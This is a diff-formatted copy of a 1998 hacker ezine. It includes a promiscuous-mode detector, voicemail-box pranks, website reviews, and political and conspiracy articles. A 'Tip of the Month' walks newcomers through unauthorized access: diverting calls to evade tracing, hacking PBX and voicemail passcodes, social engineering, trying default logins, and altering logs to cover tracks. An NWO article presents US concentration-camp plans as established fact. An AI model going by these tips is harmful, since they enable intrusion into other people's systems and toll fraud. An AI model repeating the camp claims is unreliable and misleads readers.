= *ifr; + if(ioctl(dev_flags, SIOCGIFFLAGS, (char *)&ifreq) < 0) + { + fprintf(stderr, "SIOCGIFFLAGS: %s (get interface flags): %s\n", ifr->ifr_name,strerror(errno)); + continue; + } + + device_flags=0; device_flags = ifreq.ifr_flags; + fprintf(stdout, "%s: ", ifreq.ifr_name); + + if((device_flags & IFF_PROMISC) != 0) + fprintf(stdout, "Promiscuous: Sniffer detected.\n"); + else + fprintf(stdout, "Not-Promiscous: No Sniffers detected.\n"); + + if(!set_look_all) + exit(0); // We're finished.. + else + continue; // Go onto next device.. + + } + if(!set_look_all) + fprintf(stdout, "%s: Unknown device.\n", argv[1]); + // Device not found.. +} +end promisc.c -- +------------------------------------------------------------------------------- + + +THC PHREAK'S TOP TEN LIST - {TOP TEN} +"Hilarious VMB Messages" + + 1. "Hi, this is Sara Stupid. You can call me at 555-1000 after 6. + I've had money problems lately. There have been a lot of things + going on and my financial situation hasn't improved yet. I know + that I still owe you $500 from the loan. I promise to pay you + back soon. I'm sorry it has taken so long. Should I deposit the + money directly into the account at Fat Cat Trust, account # 223344? + Or do you want to make other arrangements instead? Call me and let + me know or drop by my house at 200 Mulberry Street to discuss the + situation in person. Thanks." + + [Quit crying. I'm not buying your sob story. So, quit making + lame excuses. You're pathetic. Send me the money. RIGHT NOW!] + + 2. "This is Bill Hacker. I'm still interested in purchasing the + products that you're selling that we discussed previously over + the phone. You can bill it to my Visa card. The number is + 2532520381." + + [Good idea d00d. Leave your CC# in VMB messages.] + + 3. "Hello Jake. I'm going to be away this weekend. So, if you want + to drop off the package, my address is 315 Loser Avenue. I will + be sure to leave the side door open for you. Talk to you soon." + + [Okay. Thanks for leaving the door open for me. That eliminates + a breaking and entering (B&E) charge. :)] + + 4. "You have reached the Burger King Voice Mail System. Please + dial the number of the person you're calling. If you have + a mail box on this system, please press #. '5555' Mike Johnson, + Franchise Manager...BEEP." 'Hey Mikey. Former customer. + Shit King sucks!' :) + + [That's his real name, Mikey. I didn't feel like changing it.] + + 5. "Hey all you K0d3 Kidz... This week we have even more kewl k0d3z + for ya to use. Try 1-800-XXX-XXXX passcode XXXXXX. etc." + + [Obviously, a K-K3wli0 K0d3z KiDz VMB hotline.] + + 6. "Hey baby. Are you feeling horny tonight? Meet me at the + park on Richmond Street after 11. I'll be there, wet and + waiting. MMmmmm... Oh yeah..." + + [She sounded hot. That's a message she left in her box...err + in someone's mail box, not a greeting.] + + 7. "Harry. Hi, this is Joe. My call got forwarded to voice mail. + I need some good shit man. I'm starting to go insane! Why aren't + you answering your cell phone? I'll try your pager again." + + [Drugs anyone? That one isn't an exact quote, but rather just + typed from memory, but you get the point. A desperate guy + that's trying to reach his dealer.] + + 8. "Hey Stuart. I couldn't get in touch with you, so I thought that + I'd leave voice mail. The PIN # that you wanted is 55555. The + credit card # is 2512334980. It expires on 04/06/99. Call me + as soon as you hear this message." + + 9. "Hi Tom. This is Jeff O'Neil of Greedy Financial Services speaking. + I just wanted to notify you about your Mutual fund. The Mutual + fund that you held with us expired and the funds were transferred. + They've been deposited into your account. The total sum of your + investment upon maturation was $10,000. If you have any questions, + call 555-2255 and ask for Jeff." + + [Thanks for the financial info. Forward some cash to my account.] + + 10. "This is NOT the Hewlett Packard (HP) line. So, quit calling + this number and leaving messages." - 1-800 Direct Dial VMB. + + [It's not the h/p line? Damn.] + +Note: Names, addresses, numbers etc. have been changed to protect the +naive and stupid. :) I was going to include the actual 1-800 VMB #, BN +and passcode for each, but decided not to allow everyone reading this to +call and 'invade their privacy'. Some of them are just greeting messages. +The [...] underneath them denotes my comments. The 'text' is the actual +message that I left. + +Written by THC Phreak ú Damage, INC. (C)opyright 1998. + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +Chaotic/lyrical sound bytes/rants: + + Give me fuel. Give me fire. Give me Damage, INC. desire. + + Chaotic dreams are made of these. Who has a mind to disagree? + + Wherever I may roam is where I'll call home. + + It's a bitter sweet... symphony of destruction. + + Label me and I'll lamer you. + + We will... We will root you. We will... We will root you. + + We're all stars in the dope show. We own your d0p3...and the show. + + I woke up this morning and got myself a beer. + + We are the champions, my phreak... and we'll keep going against + the grain... until the end. + + Every cop is a criminal and all the answers are free. + + Keep on phreakin' in the free world. + + Purple haze is in my brain. + + The killer in me is the killer in you. + + Sick and tired, I stand alone. + + I killed you... I'm not gonna crack. I'm just gonna smoke crack. + + The only thing you have to phear is phear itself. + + It's the end of the world as you know it. Watch the world die. + + This is the end... my only phriend... the end. + +Note: I decided to write something different, that I feel is creative in +its own right. Most of the above are lyrics that have been taken from +various songs. They were selected because each lyric fit into the theme of +the rant. Most were altered in some way to either change the meaning or to +add humour. Some of the others were combined with another lyric, rearranged, +the words were written differently or they were left in their original state. +I'm not going to explain what it all means, nor should I. Just as the name +Damage, INC. speaks for itself, the rant should stand alone and require no +explanation and worthless analytical comments. Take it for what it is. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +CLOSING COMMENTS - {CLOSING} + +Alright, perhaps my closing comments aren't captivating. Maybe they're not +motivational either. They may not even be creative. However, I always +try to express my thoughts in a clear manner and send a message at the end +of each issue. In other words, I'd rather write something that carries a +meaning rather than just close every issue with the same "This ends another +issue of the Damage, INC. Newsletter. I'm very proud of this particular issue +and think that it's one of our best so far." etc. In my opinion, that's not +only boring and repetitive but it also demonstrates a lack of thought put +into it. I've read certain zines that always seem to have the exact same +closing, and I personally find it annoying... So, regardless of how my words +are received, I always write a few short paragraphs that I think are unique +to each respective issue. In that way, hopefully you won't skip this section +or die of boredom while reading through it. ;) + +As I'm sure you've noticed, this issue was quite different from the previous +ones. Certain sections (such as the previous two) contained articles that you +may not be accustomed to seeing in the Damage, INC. Newsletter. No matter what +your reaction to them is, it's good. Even though not all changes are good, we +still intend to continue changing and evolving. Some readers might even be +opposed to the inclusion of a 1-800 scan. A couple mentioned that they don't +think that it's a good idea to publish scans, codes etc. That's alright. I +applaud them for saying what they think. Even though we appreciate and +encourage feedback, consider suggestions and think about the comments that are +made, that *doesn't* mean that we'll conform and change the way that the +newsletter is...to how a single reader thinks that it should be. Before any +important changes are made, they are discussed at length amongst all that are +involved in publishing the Damage, INC. Newsletter. So, if someone makes an +intelligent suggestion that we feel is worthwhile, then it will be implemented. +Basically, if we like your idea, then we'll use it. Otherwise, it obviously is +ignored, but not forgotten. There's always a chance that we'll use the idea in +the future. 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Newsletter freely to quality +h/p boards only. + + Copyright 1998 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: It's now October 1998. It's the 12th issue. We've managed + to survive an entire year of writing and releasing issues of + the Damage, INC. Newsletter! ;) Sure, we've experienced our + fair share of difficulties. We have also encountered several + obstacles along the way. However, nothing that's worthwhile is + without its problems. + + In order to 'celebrate' issue #12, we have included more hollow + point ammunition, DU rounds, high capacity magazines, night + vision goggles, laser targetted scopes, fragmentation grenades, + high explosive cluster bombs, laser/satellite guided Tomahawk + cruise missiles, an assortment of smart bombs and of course, + nukes galore. Indeed, we're armed to the teeth and extremely + dangerous. So, put on your best suit of kevlar body armour, jump + in your re-enforced concrete bunker, drink a few cold beers, + light up a fat joint and remember to watch CNN for complete live + coverage of the fireworks because this issue is fully loaded and + action packed... + + Translation: We've included more articles, more information, + clipped out the filler, exposed the truth, targeted ignorance, + waged war against corruption and are going to nuke 'em all. So, + prepare yourselves for a kick ass issue that's interesting, + creative and informative. ;) + + In case you haven't detected it by my comments, this is a + theme issue. Obviously, the quote "Armed and Dangerous" + isn't meaningless... or just there to attract the attention + of readers. Information is dangerous. It's potent. It is + a powerful weapon to possess. Arm yourselves with it by + becoming informed about all that interests you. It's time + to fill up your clips with bullets, lock and load. As in, + open your mind, nourish your brain, use the knowledge and + information that's stored. Simply using your brain for a basic + Input/Output data storage device isn't enough. Awaken and + enlighten yourselves. Develop your mind and reap the rewards + that it gives you. There's so much to uncover, reveal, explore, + discover and learn. That's what is so amazing. There are no + absolutes and no limits... just possibilities. You can *never* + think about too many things or think too much. Just as, you + *can't* learn or know too much. That's why it's such a slow, + ongoing process. And h/p is no different. Therefore, if you + want to advance, you must continue to do the things that I + mentioned above... and pursue your goals. It's not quick and + easy. It's not about downloading programs/tools/utilities that + 'hack/phreak' for you either. It's more like a long, strenuous + journey of gathering knowledge, wisdom and experience. + + +BIG BROTHER BASHING - {BIG BROTHER} +Big Brother uses technology against you. + +Have you ever been involved in a conversation with a person that is truly naive +when it comes to technology in general? In my experiences, it is not a very +enlightening conversation to say the least. Many naive people that I know have +been influenced by Big Brother's propaganda. The most dangerous lie that they +tend to believe is that "all technology is good." Such a broad claim is +extremely ignorant and dangerous. It causes them to have a false sense of +security and misleads them into optimistically believing that the future will +be better due to new technological advancements. Obviously, that doesn't have +to be the case and that it can work both ways. All intelligent people should +know that technology can be used to benefit *and* harm people. + +It is such ignorance of technology that Big Brother promotes and relies on. +Afterall, making sure that people are ignorant only strengthens Big Brother's +control and power over the naive, gullible masses. To Big Brother, an +uninformed population is extremely easy to spy on... with little chance of +being detected. They're like a hungry wolf in an open field of sheep. Easy +prey. In this article, we will look at how Big Brother, with the total +cooperation of Bell, is using the telephone system to spy on the citizens of +"free" nations. As advances in telephone and computer technologies occur at a +fantastic rate, so does Big Brother's ability to invade and destroy our right +to have private telephone conversations and transmissions. + +For many decades, Big Brother has wanted to be able to randomly scan the entire +telephone system, searching for "thought crimes." Up until this decade, it has +been impossible because of the vast quantity of people that access the country +wide telephone system at any one time. Even in Communist Russia, the KGB +couldn't watch and listen to every telephone conversation, although they tried +their best by heavily bugging the Soviet telephone system. The same is true of +the CIA, FBI, CSIS, etc. They've desperately wanted to help Big Brother root +out "thought crimes," but their technology was lacking. Back then, spying on +citizens using the telco on a massive scale was only a pipe dream, instead of +an achievable objective or a reality. + +As I mentioned above, times have changed. In a sense, their technological +dreams have come true. Their goals can now be reached... and spying objectives +realized. Almost gone are the days of limited voice and data taps on individual +lines. Voice recognition technology can give Big Brother the ability to monitor +all citizens that use the telephone system for voice conversations. Currently, +independent businesses have claimed to be able to create software that will give +computers the ability to understand words instantly (no training required, like +home computer voice recognition software). When certain words are said, the +software can be instructed to react by executing a command, subroutine, etc. +And with the further development of AI (Artificial Intelligence), who knows +how far the "intelligence community" will be able to go. I won't even begin +to speculate, since their ability to invade privacy will be unimaginable. + +To further prove my point, I will tell you about Votan, a corporation in +Pleasanton, California. Votan has created a VMS that can be operated by voice +command. No touch-tone telephone required. Voice recognition, telephone and +computer technology have been successfully merged. The user's commands are +understood using voice recognition software and then executed. This is what Big +Brother has been waiting for. It's basically an evolution of the early voice +recognition systems/software. With Big Brother's resources, he can create a +massive voice conversation monitoring system to search for "thought crimes" +across the entire telephone system. Think about that for a second. It's a +terrifying thought, isn't it? + +Imagine talking about "handguns" to a friend during a telephone conversation. +Big Brother's monitoring system happens to be listening in on your line during +the system's random line scanning. The word "handgun" could trigger a small +subroutine in Big Bro's software that would immediately start recording your +conversation. If you are a phreak that diverts, you could still be caught +eventually because Big Brother would have your voice print on record. (Unless +you use a voice changer all of the time... or find a way to disable their voice +recognition... a backdoor through it etc.) It could be matched to future +"thought crimes" that those bastards might record during your lifetime. If you +don't care that your privacy is totally destroyed under this potential +monitoring system (that could be in effect any time in the near future), just +keep in mind that in most countries, "thought crimes" are criminal offenses. +In many laws, the phrase "or conspiracy to..." is enough to put you in prison +for as much time as someone that actually committed the offense. + +Also, when video conferencing is built into telephones it is an eventual fact +that Big Brother will take advantage of that as well. All Big Brother will need +is greater storage capacities (no problem since tax dollars feed Big Brother's +unquenchable need to invade our privacy) and video clips can accompany our +recorded voice conversations. Big Brother could then put a face to the voice +and identify the "thought criminal" extremely quickly. With a powerful system, +a Thought Policeman could access your electronic dossier as soon as your video +conference call begins. Is this technology truly beneficial to the average +person? Is it necessary to have in your home? I hope I have made the point +that technology can be used for good or evil purposes. Always be aware of +that and take it into consideration before buying into it. + +This topic is definitely controversial, and a lot of facts don't exist for this +particular freedom crushing scheme. However, as time passes and computer and +telephone technology continues to advance, the power it can offer its user is +phenomenal. Big Brother has, is and will use technology to invade our privacy. +That's something that isn't going to change. Arm yourself with the skills +necessary to fight back and use technology against Big Brother. Various types +of ammunition are necessary. Some ammo to use in this war for free thoughts +are knowledge, practical experience and an open mind. Know your enemy and know +yourself. Arm yourself with the awareness of the technology that exists. Then +be willing to protect yourself against all of Big Brother's invasive methods and +weapons. That is, by any means necessary. Your own privacy and freedom relies +on it. In other words, don't just allow them use new technology to their own +advantage against you. Fight fire with fire. I believe that is the only way +that Big Brother can be exposed and defeated. + +Written by THC Phreak ú Damage, INC. (C)opyright 1998. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Hacking local systems: + +These tips are an introduction to hacking local systems. They are by no +means complete. However, they are important and should be considered by +newbies that want to start hacking systems in their local area. I have read +a lot of messages posted in nets lately, regarding PBXs, VMBs, extenders and +local UNIX systems etc. Basically, the users that were posting didn't think +that this type of hacking 'still goes on'. Some users didn't think that +companies/businesses/large corporations use PBXs and VMBs anymore. Haha... +Many of them didn't know what the acronym PBX stands for etc. In other words, +they were misinformed or ignorant. The comment of "I didn't think anyone hacked +PBXs anymore or was into that." surprised me. A few wondered about ANI and how +it relates to PBXs. I remember one user in particular that was posting about +dialing out through PBXs and confused about ld charges etc. Someone else +assumed that they all have 16 digit passcodes to dial out. Some others thought +that hacking them was merely a fad in h/p. I can assure everyone that it isn't +a fad. Hacking PBXs is nothing new. Plus, many hackers/phreaks are still into +hacking local systems, including PBXs, VMBs etc. This short article is meant to +clear up some of the misinformation that's being spread out there. You should +read these tips, keep them in mind and continue to learn about hacking local +systems safely. + +Since there have already been articles included about scanning, trashing and +social engineering... I'm not going to repeat that information and explain +what each one of them is about. However, I'll just say that you'll need to +know something about them in order to get involved in hacking local systems. + +Step 1: +------ + +"Alright. I've scanned a few local exchanges/entire NPA... now what?" Well, +congratulations ace. You were able to setup ToneLoc properly and scan local +exchanges. ;) Seriously though, there's a lot more that has to be done besides +scanning and finding systems. That is, if you want to be able to do anything +with the new found numbers that you have. What you do next all depends upon +what you've managed to find while scanning. For example, you'll need to have +a diverter. Some NPAs might have a free diverter. Others have diverters with +passcodes. Of course, if the latter is the case, hack the passcode with +ToneLoc (or whatever scanner/code hacker you prefer). If you didn't find a +diverter, there are still many options available to you. For example, if +you found some local extenders, find out where they reach. Then check to see +if they divert by calling an ANI. There should be a local ANI in your NPA. +Scan for it, check lists of ANIs or ask a local phreak for one to use. Or, +you can use a 1-800 ANI if you have one instead. There are also usually some +local numbers of companies that report your ANI when called. Or, if you found +some local VMBs, hack a box and see if they support dialing out. If they do, +check to see if they divert. Obviously, PBXs can also be used to divert your +calls. Again, they can be local PBXs or 1-800s. Don't call ld h/p boards or +your ld friends with them yet though. ;) Don't call any carriers (local UNIX +systems etc.) and start trying to break into them yet either. You have to know +more about diverting and safe hacking before you can start exploring. If you've +tried all of the above, and can't figure out how to divert your calls... then +read Blackie Lawless' article on junction boxes again. You can setup diverter +boxes on lines in Bell cans, blue box, bounce your calls, etc. as a means of +diverting as well. Obviously, if you're going to use the junction box method +(or beige box) to call carriers, you'll need to have a laptop with a modem. + +Step 2: +------ + +"I'm able to divert my calls now. Wow! This is cool. I've scanned and found +a few systems that I want to explore. What should I do now?" + +Cool. You're a big hax0r now. We phear you. ;) Well, you still might +need to do a few things before proceeding with your hack. For example, if +you require further information on a company, you could CNA them and go +trashing to see if you can find some valid logins, manuals and company +documents to read. Or, you could get the name and address of the company +through a reverse database listing by entering in the phone number. Or, you +could scan around it and try to find another one of their company's lines. If +you find a voice line (someone answers and they identify themselves by the +company's name), you could attempt to social engineer them for whatever +information you require. Then again, if it's just a local UNIX system, you +could just try some default accounts and passwords to login etc. As you can +see, there are many options available to you. It all depends upon where you +live and which company's system you are trying to access. In some areas, the +security is very lax...since the h/p scene isn't active. Therefore, the Admins +themselves aren't very active (lazy, don't patch holes etc.) and don't take any +measures to improve security. Basically, if the system hasn't been hacked out +already, then it probably isn't as secure as it should be... and a lot of known +exploits will still work. Just don't get in the habit of relying on the Admins +to be lazy and stupid... because obviously not all of them are. ;) + +It's also a good idea not to start giving out local codes (extenders, PBXs etc.) +to everyone you know... and don't know on boards or wherever. Plus, don't +start bragging about what you're doing/hacking. And don't do any intentional +damage to systems that you're able to get into. That is, except for altering +logs and covering your tracks so that you won't be traced. If you do fuck +around, it might come back to haunt you. Not only will they be on alert, but +the security will most likely be changed in order to prevent similar +occurrences. Not to mention, it's a good way to get yourself busted. ;) As +in, they'll be watching and trying to trace you for sure if you go out and do +that. So, just keep that in mind. + +Step 3: +------ + +"Am I ready to start exploring now?" The short answer is, yes. You can start +exploring whatever you've found. That is, as long as you know what you're +doing at this point. Meaning, you are relatively intelligent and stealthful. +Just don't abuse things such as PBXs, VMBs, extenders, any outdials etc. by +calling ld excessively with them, until they're changed, go down (in the case +of some local codes like extenders) or you're busted. If you use a few PBXs +sparingly, then your few ld calls a month can go unnoticed for a *long* time. +;) + +As for any carriers (UNIX systems, any dialup networks such as X.29 packet +switching and the like) that you find and want to explore, it's basically up to +you as to what you do. As long as you divert, don't do any damage once +logged in, are aware of what you're doing, don't keep trying to guess a login, +know about logs (their logging system, paths) etc. then you'll probably have an +enjoyable experience. Hopefully you aren't just out to grab passwd files to +decrypt, or get shell accounts on as many systems as you can. And you should +also know that not all systems store their logs in default paths. Some have +backups in hidden directories as well etc. So, that's just another thing to +be aware of while hacking carriers. + +In conclusion, local hacking can still be interesting, beneficial to you and +a lot of fun. So, the next time someone talks about internet related hacking, +you don't have to be ashamed if you're into hacking local systems and networks. +What you get involved in is totally your choice. Even though I divided the +article into three steps, it isn't a complete guide or set of instructions. +Basically, I just thought I'd share a few tips on the subject of local hacking: +what is out there, how to get started and what it's all about since some people +assume that this aspect of hacking is dead. ;) + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +BREAKER'S REVIEWS - {REVIEWS} +H/P and Security Web Site Reviews: + +This is a list of quality H/P or security related web sites. I'll try to +check these and keep them updated and free of 404's. Since Breaker wasn't +able to do the reviews this month, the following reviews were compiled by +Damage, INC. However, I'm sure that Breaker will return to reviewing web +sites in the next issue. ;) + + +cDc +www.cultdeadcow.com +Cult of the Dead Cow's site has it all... cDc is one of the original ezines +and it's still going strong. If you visit, be sure to download Back Orifice. +BUTTSniffer (a BO add-on) was just released recently as well. Also, don't +forget to order your cDc t-shirts. ;) + +DigiCrime, Inc. +www.digicrime.com +Join the digital underground... DigiCrime has comical products, services and +a mailing list that you can join. There's also a section for exploits, +news etc. + +HDC +www.hackers.com +Hackers.com has general h/p information, projects, archives, text files on +security, exploits and links. There are also files and tips for h/p +neophytes. The site itself looks cool, and is fairly well layed out...but it's +very graphical with quite a bit of animation and effects. + +Information Warfare +www.infowar.com +There's always new material being added to InfoWar's site. You can subscribe +for free to their mailing list and have info sent to you via Email. There's +security information, a search engine for documents on the site, and information +on InfoWarCon '98 in London. + +Inside AOL +www.inside-aol.com +Do you hate AOL? This site is setup to expose the truth about America Online. +It's one of the better "anti-AOL sites" out there. Basically, it offers +some good information about AOL and their rules, censorship, privacy +infringement, etc. There are also some funny pranks, Email messages, threats +from AOL, etc. and links to other anti-AOL sites... which they have rated. +The site is also updated fairly regularly with articles and news. + +L0pht Heavy Industries +www.l0pht.com +What is there to say about the L0pht? ;) The site is operated by a group of +Boston based hackers... that are well known (not only in the underground, +but in the media as well). L0phtCrack is available to download. There's +also BUTTSniffer, other tools and products. They have extensive archives, +recent articles from various sources, L0pht Advisories, the L0pht BBS, a +nice search engine, information on the major h/p Cons, etc. You can also +go through the Black Crawling Systems archives which includes a wide variety +of files. It's a very large site and there's always updated info/news/articles +online to read. Overall, it's an excellent site and a good source of h/p +information. So, if you haven't already visited it, then I suggest that you +check it out sometime. + +LOD Communications Inc. +www.lod.com +LOD offers internet services, UNIX support and services, archives (common +h/p utils), Bell Shock Force! Hall of Shame volumes and links to other +sites. However, it's not updated often... and there have only been three +volumes of BSF released. + +Phone Losers of America +www.phonelosers.org +PLA has been around for quite a few years and have released many issues. +RedBoxChiliPepper, Colleen Card, etc. are still around. It's a cool, must +visit site for anyone that's into phreaking. Also, check their site for the +PLA site nearest you. ;) + +Digital Information Society +www.phreak.org +Digital Information Society's site (DIS) offers phreaking related information, +security and the underground. Also, check out their ftp.phreak.org site for +their archive collection. I didn't go through every area of their site, but +they have information on their users, their group, some links etc. + +Secure Networks, Inc. +www.secnet.com +This site has Security auditing software, vulnerability research and various +security related services. You can download an evaluation version of +Ballista(TM), which is one of their commercial security programs. There +are also some free security tools available to download as well. They also +release technical reports and security advisories etc. From what I read, +they have information on securing proxy servers, firewalls, etc. Overall, +it looks like a fairly decent security site. + +System Failure +www.sysfail.org +If you haven't read SysFail, then visit their site and download all of the +issues. They put together a very cool h/p related zine that offers a lot +information. However, Sysfail issue #14 was mainly filled with DefCon reviews +by several members though. So, make sure you leech all of the back issues. +Or, you can just download the articles that interest you. Overall, their +site is excellent and has a lot of resources. ;) + + +That's all of the reviews for this issue. You may have noticed that many of +the sites reviewed this month are very well known and popular etc. Well, that +was by design. It was done as a tribute to some of the groups that've been +around in the scene for a long time. I thought that it would be appropriate +for us to do that in issue #12 since it marks the end of a year... and is +just something different. Also, we're going to start adding links on the +Damage, INC. web site (http://members.tripod.com/~damage_inc) to every site +that has been reviewed so that people won't forget to check them out. ;) + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +NWO Part 3: U.S. Concentration Camps. + +Just to be perfectly clear, this article is *not* about the camps that were +established during World War II to detain Americans and Canadians of Japanese +and German heritage. Although the abuse of their rights was corrupt and +abdominal, it is not as bad as what faces us right now. This article will +reveal the preparations of globalists within the United States Government to +send American citizens to concentration camps after their totalitarian regime +takes over. + +U.S. National Emergency +----------------------- + +The first most likely step in the globalist take-over of the United States +starts with their lackey, the President. You may or may not know that the +President has the power to issue Executive Orders. Executive Orders can be put +into effect at any time a national state of emergency is declared by the +President. During a National Emergency, the President essentially becomes the +dictator of the United States. Below I have a list of Executive Orders that can +be called upon by the President during a "national emergency": + + Exec. + Order # Civil Rights, Liberties, and Powers taken from the American people + ------- ------------------------------------------------------------------ + 10995 All communications media seized by the Federal Government. + 10997 Seizure of all electrical power, fuels, including gasoline and + minerals. + 10998 Seizure of all food resources, farms and farm equipment. + 10999 Seizure of all kinds of transportation, including your + personal car, and control of all highways and seaports. + 11000 Seizure of all civilians for work under Federal supervision. + 11001 Federal takeover of all health, education and welfare. + 11002 Postmaster General empowered to register every man, woman and child + in the U.S.A. + 11003 Seizure of all aircraft and airports by the Federal Government. + 11004 Housing and Finance authority may shift population from one locality + to another. Complete integration. + 11005 Seizure of railroads, inland waterways, and storage facilities. + 11051 The Director of the Office of Emergency Planning authorized to put + Executive Orders into effect in "times of increased international + tension or financial crisis". He is also to perform such additional + functions as the President may direct. + +All of the Executive Orders above, plus others I was unable to list can be put +into motion if the President activates Executive Order 11490. Richard Nixon +created 11490 on October 28, 1969. Executive Order 11490 represents the death +of freedom and liberty in the United States. It is also the easiest way to +mobilize the carefully laid plans of the globalists that are the enemies of the +U.S. Constitution. These plans include the distribution of American citizens +into concentration camps, so they must work as slaves for the Federal +Government. + +Rounding up the zombies +----------------------- + +Before I get into the actual concentration camps, I must explain what powers +and responsibilities the various U.S. bureaucracies will have. During a +state of national emergency, the Post Office department would be responsible +for the implementation of a mandatory national registry. That will make it +easy for them to identify a particular slave, check their dossiers compiled +by Big Brother, etc. Then the prospective slave can be sent to a concentration +camp that matches his or her particular skills. + +The Justice Department would have joint and equal responsibility with the Dept. +of State for prevention of escape from the U.S.; for replenishing the stockpile +of narcotics; control of the national police force; for prisons, concentration +camps, slave labour camps and mental institutions; for mass feeding and housing +of prisoners and to use said "prisoners" for slave labour. + +The State Department would be responsible for the safety of the United Nations +(NWO) personnel and/or property, and to prevent American citizens from escaping +from the United States. The Department of Defense would be responsible for +seizing independent American industries; direction of service and national +production system, control of censorship; and communication expropriation of +non-industrial facilities. The Commerce Department would be responsible for the +looting of American homes, and the redistribution of all commodities stolen. +They are also responsible for census information and human resources. The +Treasury Department would be responsible for collection of cash and non-cash +items and the recreation of evidence of assets and liabilities. + +As you should be able to clearly see, the Executive Orders listed above supply +the President (and his puppet masters) with the excuses necessary to enslave +America without the zombies reacting to the takeover until it is too late. When +the special urban units I described in my previous NWO article are busting down +the doors of American citizens "seizing" every human being and material object +in the United States it definitely is too late. During a declared state of +emergency, the Constitution and the Bill of Rights are suspended. After that +happens, all of the stunned zombies will rounded up so that they can be assigned +to their slave labour camps at their local post offices. Then the zombies will +be sent off, one by one, to various concentration camps throughout the United +States. There they will be slaves of the New World Order. The army will then +assist the Commerce department to loot the vacated homes. At this time, all +firearms in the United States can be captured if the majority of Americans +allow it. + +Below is a list of military bases that are prepared to become civilian +concentration camps during a "state of emergency." This is by no means a +complete list of concentration camps. If I was to somehow compile such a list, +I'd also have to include all American prisons that have incarcerated naive drug +users, etc. + +List of U.S. Military Bases that can become U.S. Concentration Camps +-------------------------------------------------------------------- + +Ft. Chaffee, Arkansas Ft. Drum, New York +Ft. Indian Gap, Pennsylvania Camp A. P. Hill, Virginia +Oakdale, California Eglin Air Force Base, Florida +Vendenberg AFB, California Ft. Mc Coy, Wisconsin +Ft. Benning, Georgia Ft. Huachuca, Arizona +Camp Krome, Florida + +Also keep in mind that any prison can be easily packed to capacity and become +a concentration camp. Do you remember that I wrote an article on prison +industries in Issue #9 of the Damage, INC. Newsletter? In my opinion, it isn't +a coincidence that virtually all prisons in the United States have been +converted into factories that exploit slave labour. When the globalists attempt +to take over, they only have to increase the scale of the corruption that +already exists. + +A life of slavery is the fate of the average person that chooses to live under +the control of the New World Order. However, the short sequence of events I've +described above has been simplified due to space considerations. I believe I've +given you a lot of information to think about. It is a fact that there are +complex plans for the seizure of civilians, and all their property by the +globalist controlled U.S. Government. The plans combined are called Operation +Garden Plot. In the next issue of the Damage, INC. Newsletter I will discuss +Operation Garden Plot, as well as more intricate details into their bold +conspiracy to become the totalitarian masters of the United States. + +The goals of the globalist conspirators are clear. In their New World Order, +the masses are nothing more than nameless, faceless zombies to be used as slave +labour. What I have shared with you in this article isn't fiction created by me +to fool you. The concentration camps are all ready for zombies that are +ill-prepared and unwilling to fight for their freedom. The Executive Orders +exist and could easily be put into affect. That is a sad but true fact. I also +believe that readers around the world can benefit from this article. Afterall, +if freedom is eliminated in the United States, rights and freedom in weak +countries like Canada will crumble extremely quickly. Basically, they'd just +instantly follow suit. Now that you have been introduced to this great +conspiracy, it is up to all Americans to decide if you are willing to line up +to be registered as a slave of the NWO or not when Executive Order 11490 takes +away your rights that *were* protected under the Constitution and the Bill of +Rights. Now that you're aware of it and informed, make sure you're prepared. + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +CORRUPTION AND GREED - {GREED} +Bill C-68; Corrupt and Oppressive Gun Control: + +What is C-68 and its purpose? What is the agenda of the Canadian Government +in relation to this bill? Does it affect everyone? I don't own a firearm, +so why should I care about it? I'm not a Canadian, so how does C-68 apply +to me? Why is it important that I know about it? + +First, I've watched coverage of protests, read articles, reports and countless +text files on C-68 (from the National Firearm Association (NFA), people's +opinions and the actual bill itself)... therefore, I feel that I'm adequately +informed and qualified to write an article on this topic. An article on +Bill C-68 (written by David A. Tomlinson) was included in the Reports from +the Front section. In comparison to other articles that I've read on the +subject, it's short but it contains some very good points. If you would like +a copy of Bill C-68 "An act respecting firearms and other weapons." and other +text files relating to it, then leave me Email. + +Bill C-68 is a poorly written, intentionally ambiguous document. The purpose +is to restrict and control firearms. In my opinion, the goal of the Canadian +government is to eliminate them altogether... and disarm all Canadians. Right +in C-68, "Gun Free Zones" are discussed and provisions are made for their +creation. It is *not* just about licensing weapons and paying fees. It is +about taking away the rights of citizens. As in, we should have the right +to defend ourselves and protect our property. We should be allowed to have +firearms for hunting, collecting and target shooting etc. It isn't about +stopping criminals, reducing crime or "protecting" us from dangerous weapons. +Haha. Whether or not guns have to be registered and licensed makes absolutely +no difference to criminals. Obviously, they will never turn in their weapons. +Nor will they follow the laws so that their weapons can be traced back to them. +And, they don't need to buy firearms legally at gun shops with an FAC in hand. +They can steal them or smuggle them across the border into Canada if needed. +In other words, it won't affect them at all. Therefore, that proves that +C-68 isn't aimed at criminals. That is something that the National Firearm +Association (NFA), myself and many gun owners agree on. It's just a logical +fact, that the government can't seem to successfully dispute... no matter +how much political rhetoric they spew out of their mouths. Every Canadian +is affected by C-68, regardless of whether or not you currently possess any +firearms. Especially since, they can break into your home and search for +weapons to confiscate. That doesn't require you to do anything wrong at all. +All it takes is for a suspicious neighbour or vengeful enemy to make an +anonymous phone call stating that you have an unregistered .22 calibre firearm +hidden in your house. Basically, that is enough to give them the power to +take actions against you... regardless of your own naiveness or innocence. + +Also, Bill C-68 wasn't even available to read or download from government +web sites. They've made a conscious effort to hide it from Canadian citizens +and make sure it's as inaccessible as possible in my opinion. That just +proves how this country is following in the footsteps of other nations, such +as China and Cuba. Those two communist countries aren't only trading partners +with Canada, they are role models which Cretien and the rest of the federal +Liberal Government want to follow... and aspire to become. In fact, you +might even say that Cretien (the current Canadian Prime Minister) considers +Cuba (lead by his friend, Castro) to be one of his allies. But that's another +topic. ;) + +One of the fundamental things that is wrong with C-68 is the overwhelming +control that it gives to a corrupt government. Since it's so poorly written, +they can interpret sections any way that they want... and thus the Canadian +citizens with firearms can't really protect themselves against prosecution +and fines. I've read it all, and even I can't understand how to avoid getting +busted for transporting firearms in a safe and "legal" manner. In other words, +they can make it impossible for you to do so, since they've left so many +loop holes in the document. Therefore, they have made sure there are provisions +for them to do whatever they want. They can increase the fees for registering +firearms, take away the right to transport a weapon in your car, and make +zones (which could be entire cities) in 